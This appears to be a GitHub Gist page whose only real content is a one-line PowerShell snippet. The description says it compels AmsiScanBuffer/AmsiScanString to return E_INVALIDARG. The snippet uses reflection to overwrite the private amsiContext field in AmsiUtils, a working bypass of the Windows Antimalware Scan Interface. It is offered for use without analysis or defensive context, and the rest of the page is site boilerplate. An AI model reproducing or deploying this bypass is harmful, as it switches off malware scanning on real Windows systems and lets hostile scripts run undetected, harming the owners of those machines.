-
-
Save 0x4243/514acd6ed98658d79ca6dd028fe4a30f to your computer and use it in GitHub Desktop.
Compels AmsiScanBuffer/AmsiScanString to return E_INVALIDARG
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment